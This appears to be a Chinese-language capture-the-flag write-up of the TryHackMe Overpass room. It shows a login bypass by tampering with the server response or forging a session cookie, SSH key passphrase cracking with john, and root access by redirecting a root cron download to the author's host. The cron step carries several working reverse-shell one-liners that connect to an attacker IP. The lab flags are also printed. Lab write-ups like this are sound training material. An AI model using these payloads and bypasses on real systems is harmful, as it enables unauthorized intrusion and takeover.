TryHackMe Overpass 题解
菜菜的复现记录
web渗透阶段
扫描端口
nmap -v -A “服务器地址”
扫描目录(目录fuzz)
这里我直接使用的是dirsearch使用的是内置的字典
python dirsearch.py -u “服务器的地址”
这里我们扫描到有用的就是
/admin.html
/admin
/login.js
查看目录的内容
我们发现/admin.html和/admin页面一样
看到登录框扫描了一下弱口令和post请求的sql注入
都是失败告终
现在我们看一下login.js这个应该是和登录相关的
标注的这部分是我们利用的部分,我们要绕过login.js来进行登录,因为他这个地方我如果没有让服务器响应"不正确的凭证"那不就可以登录了
/**
* 登录函数
*/
async function login() {
// 获取用户名输入框元素
const usernameBox = document.querySelector("#username");
// 获取密码输入框元素
const passwordBox = document.querySelector("#password");
// 获取登录状态元素
const loginStatus = document.querySelector("#loginStatus");
// 清空登录状态文本内容
loginStatus.textContent = "";
// 创建包含用户名和密码的对象
const creds = { username: usernameBox.value, password: passwordBox.value };
// 发送数据到指定路径进行登录请求并等待响应
const response = await postData("/api/login", creds);
// 获取响应的文本内容
const statusOrCookie = await response.text();
// 如果响应文本是"不正确的凭证"
if (statusOrCookie === "Incorrect credentials") {
// 设置登录状态文本为"不正确的凭证"
loginStatus.textContent = "Incorrect Credentials";
// 清空密码输入框的值
passwordBox.value = "";
} else {
// 设置名为"SessionToken"的 Cookie 值为响应内容
Cookies.set("SessionToken",statusOrCookie);
// 将页面重定向到"/admin"
window.location = "/admin";
}
}
YAKit抓包
我们这里就是要修改返回包(响应包)所以一定要把Yakit的劫持响应打开
打开劫持响应!!!
打开劫持响应!!!
打开劫持响应!!!
一定要打开不然没法改
这个包返回了Incorrect credentials有这个就说明没过所以我们要改成302并把Incorrect credentials删掉
HTTP/1.1 302 FOUND
Date: Tue, 14 May 2024 10:23:08 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 21
传完点一下刷新就可未授权登录了
我看网上还有可以利用cookie来登录的就是创建一个cookie来登录
创建一个cookie
document.cookie="SessionToken=pleaselogmein"
再刷新界面就可以登录james13
SSH登录
这里他告诉我们这是一个ssh密钥那我们就开冲
冲了但是没冲进去好
那我们就用私钥来解一下私钥密码
我们先将这个ssh的hash提取出来
ssh2john Overpass_key > Overpass_key.txt
提取出来我们开始使用john工具撞hash
john --wordlist=/usr/share/wordlists/rockyou.txt Overpass_key.txt
使用了rockyou.txt这个字典来破解hash如果你们的rockyou.txt是rockyou.txt.gz就使用gzip解压一下
gzip -d /usr/share/wordlists/rockyou.txt.gz
这样我们得到了james13的密码
登陆一下linux服务器
ssh -i Overpass_key james@10.10.144.230
查看目录找user.txt拿到第一个flag
thm{65c1aaf000506e56996822c6281e6bf7}
Cron提权
注意如果是虚拟机请映射端口我是再本机上弄得
注意如果是虚拟机请映射端口!!!
注意如果是虚拟机请映射端口!!!
查看todo.txt
todo.txt我英语不好todo.txt看看翻译吧
他上面提到了自动构建脚本,我们看一下定时任务有啥,
cat /etc/crontab
我看别人都是使用linpeass来寻找提权但是我没下下来
我们发现他使用的root执行了连接overpass.thm/downloads/src/buidscript.sh,很明显他想下载某个脚本
这个 /erc/crontab我们没有更改权限,所以只能从连接入手
我们去他hosts文件看一看overpass.thm是什么
他是本地的命令,那我们改成自己的IP不就连接自己然后在脚本里面写反向连接的shell不就可以拿到权限了吗
将overpass.thm改成自己的IP
切换到本机找一个目录
mkdir -p downloads/src
#创建了downloads/src目录
创建一个buildscript.sh的文件,并在里面写入我们的paylode
#做个事例把可以用不可以用的都列这里了,这里我用的是第一条
#使用bash
bash -c 'exec bash -i &>/dev/tcp/10.14.81.28/8888 <&1'
#使用sh
bash -c 'exec sh -i &>/dev/tcp/10.14.81.28/8888 <&1'
#使用NC
bash -c 'nc -e /bin/bash 10.14.81.28 8888'
#使用socat---靶机上没有socat
bash -c 'socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.14.81.28:8888'
#使用python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.81.28",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
然后我们要在刚开始创建downlodes的目录开启http服务,因为我是OpenVPN连接的所以要加–bind 0.0.0.0
python -m http.server 80 --bind 0.0.0.0
脚本里创建了反向连接的shell我们直接就是监听端口等待连接坐等连接就OK了
脚本里创建了反向连接的shell我们直接就是监听端口等待连接坐等连接就OK了
他会在一段时间内下载并启动脚本进行反向连接
flag:thm{7f336f8c359dbac18d54fdd64ea753bb}